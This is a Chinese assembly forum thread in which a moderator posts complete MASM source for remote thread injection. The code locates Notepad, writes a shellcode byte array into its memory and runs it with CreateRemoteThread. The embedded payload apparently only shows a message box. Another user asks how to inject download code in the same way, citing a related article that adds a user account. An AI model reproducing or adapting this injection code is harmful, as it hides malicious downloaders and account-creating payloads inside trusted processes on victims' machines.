鸥飞007

其实我更笨看不懂
帖子1 精华0 积分16 阅读权限40 性别男 在线时间9 小时 注册时间2007-7-21 最后登录2008-4-9 查看详细资料引用 报告 回复 TOP 良辰择日，预测咨询，公司改名，权威易经

asm
运维管理组

发车狂

下面给你丢个 Anskya 的代码:

.586
.model flat, stdcall
option casemap :none  
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
include windows.inc
include kernel32.inc
include masm32.inc
include User32.inc

includelib kernel32.lib
includelib masm32.lib
includelib User32.lib

;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
ShellSize equ 387
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
.data?
hInstance  HINSTANCE ?
CommandLine LPSTR   ?
hProcess  HANDLE  ?
pThread  LPVOID  ?
PID    dword   ?
hWndNpd  dword   ?
.data
szlpClassName db "Notepad",0 ;定义记事本窗口类
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
.code
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
szShellcode DB 0E8H,00H,00H,00H,00H,05FH,081H,0EFH,01EH,010H,040H,00H,08DH,087H,094H,010H
  DB 040H,00H,050H,0E8H,083H,00H,00H,00H,08DH,087H,0A5H,010H,040H,00H,050H,0E8H
  DB 077H,00H,00H,00H,02BH,0C0H,050H,08DH,09FH,083H,010H,040H,00H,053H,08DH,09FH
  DB 05EH,010H,040H,00H,053H,050H,0FFH,097H,0ACH,010H,040H,00H,06AH,00H,0FFH,097H
  DB 09DH,010H,040H,00H,0C3H,05BH,02AH,05DH,020H,048H,065H,06CH,06CH,06FH,020H,057H
  DB 06FH,072H,06CH,064H,020H,043H,06FH,064H,065H,072H,021H,020H,028H,043H,029H,020H
  DB 041H,06EH,073H,06BH,079H,061H,02EH,0DH,0AH,00H,04DH,073H,067H,042H,06FH,078H
  DB 020H,042H,079H,020H,041H,06EH,073H,06BH,079H,061H,00H,06BH,065H,072H,06EH,065H
  DB 06CH,033H,032H,00H,01H,092H,08FH,05H,00H,00H,00H,00H,075H,073H,065H,072H
  DB 033H,032H,00H,0F7H,06CH,055H,0D8H,00H,00H,00H,00H,060H,08BH,074H,024H,024H
  DB 0E8H,097H,00H,00H,00H,068H,0ADH,0D1H,034H,041H,050H,0E8H,01FH,00H,00H,00H
  DB 056H,0FFH,0D0H,08BH,0D8H,02BH,0C0H,0ACH,084H,0C0H,075H,0FBH,08BH,0FEH,0ADH,085H
  DB 0C0H,074H,0AH,050H,053H,0E8H,05H,00H,00H,00H,0ABH,0EBH,0F1H,061H,0C3H,060H
  DB 08BH,05CH,024H,024H,08BH,074H,024H,028H,02BH,0EDH,08BH,0D3H,03H,052H,03CH,08BH
  DB 052H,078H,03H,0D3H,08BH,042H,018H,08BH,07AH,01CH,03H,0FBH,08BH,07AH,020H,03H
  DB 0FBH,052H,08BH,0D7H,08BH,017H,03H,0D3H,045H,060H,08BH,0F2H,02BH,0C9H,0ACH,041H
  DB 084H,0C0H,075H,0FAH,089H,04CH,024H,018H,061H,060H,02BH,0C0H,0E8H,051H,00H,00H
  DB 00H,03BH,0C6H,061H,074H,08H,083H,0C7H,04H,048H,074H,018H,0EBH,0D6H,05AH,04DH
  DB 08BH,04AH,024H,03H,0CBH,0FH,0B7H,04H,069H,08BH,06AH,01CH,03H,0EBH,08BH,044H
  DB 085H,00H,03H,0C3H,089H,044H,024H,01CH,061H,0C2H,08H,00H,060H,02BH,0C0H,064H
  DB 08BH,040H,030H,085H,0C0H,078H,0CH,08BH,040H,0CH,08BH,070H,01CH,0ADH,08BH,040H
  DB 08H,0EBH,09H,08BH,040H,034H,08DH,040H,07CH,08BH,040H,03CH,089H,044H,024H,01CH
  DB 061H,0C3H,060H,0E3H,018H,0F7H,0D0H,032H,02H,042H,0B3H,08H,0D1H,0E8H,073H,05H
  DB 035H,020H,083H,0B8H,0EDH,0FEH,0CBH,075H,0F3H,0E2H,0ECH,0F7H,0D0H,089H,044H,024H
  DB 01CH,061H,0C3H
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
WinMain proc hInst:HINSTANCE, hPrevInst:HINSTANCE, CmdLine:LPSTR, CmdShow:DWORD ;定义全局变量

invoke FindWindow,addr szlpClassName,NULL ;获取记事本的窗口类
mov hWndNpd,eax ;保存
invoke GetWindowThreadProcessId, hWndNpd,addr PID ;获取记事本的标识符，并指定句柄
invoke OpenProcess, PROCESS_ALL_ACCESS,FALSE,PID ;通过指定的句柄获取运行中的记事本进程PID
mov hProcess, eax ;保存句柄准备下面函数调用
invoke VirtualAllocEx,hProcess, NULL, ShellSize, \
MEM_COMMIT or MEM_RESERVE, PAGE_EXECUTE_READWRITE ;分配内存空间
mov pThread, eax
invoke WriteProcessMemory, hProcess, pThread, offset szShellcode, \
   ShellSize, NULL ;将szShellcode写到进程内存中
invoke CreateRemoteThread, hProcess, 0, 0, pThread, NULL, 0, NULL ;创建线程.运行..
ret

WinMain endp
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
start:
invoke GetModuleHandle, NULL ;获取模块句柄
mov hInstance, eax ;保存
invoke GetCommandLine ;获取命令行参数
invoke WinMain, hInstance, NULL, eax, SW_HIDE ;开始调用子程序
invoke ExitProcess, NULL ;Exit
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
end start
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>游戏吧  http://www.game8.cc/MyBlog    http://www.asm32.cn
帖子1598 精华30 积分8742 阅读权限150 性别男 在线时间954 小时 注册时间2006-9-21 最后登录2008-7-20 查看详细资料引用 报告 回复 TOP 良辰择日，预测咨询，公司改名，权威易经

黑菜
荣誉会员

燕燕子

引用:
引用第1楼asm于2007-07-21 22:27发表的 :
上面那代码貌似是我写的,是在一篇叫做 "win32汇编实现简单线程注入" est有搜

注入的原理貌似就是把整个exe都搬到explorer.exe去...这样就不需要重定位鸟.....
ASM大侠现身回答我的问题很激动。
我上面说了 “有点与asm写过的类似”没想到是你写的啊。对不起
我想请教怎么把下载的代码插入到记事本文件去。你先看下我上边提到的那个作者的文章，他是完成添加用户的功能，我想完成下载的功能。

帖子67 精华0 积分3214 阅读权限100 性别男 在线时间104 小时 注册时间2007-1-29 最后登录2008-7-5 查看详细资料引用 报告 回复 TOP 您知道您年薪应是多少?

asm
运维管理组

东城大少

上面那代码貌似是我写的,是在一篇叫做 "win32汇编实现简单线程注入" est有搜

注入的原理貌似就是把整个exe都搬到explorer.exe去...这样就不需要重定位鸟.....游戏吧  http://www.game8.cc/MyBlog    http://www.asm32.cn
帖子1598 精华30 积分8742 阅读权限150 性别男 在线时间954 小时 注册时间2006-9-21 最后登录2008-7-20 查看详细资料引用 报告 回复 TOP 良辰择日，预测咨询，公司改名，权威易经

黑菜
荣誉会员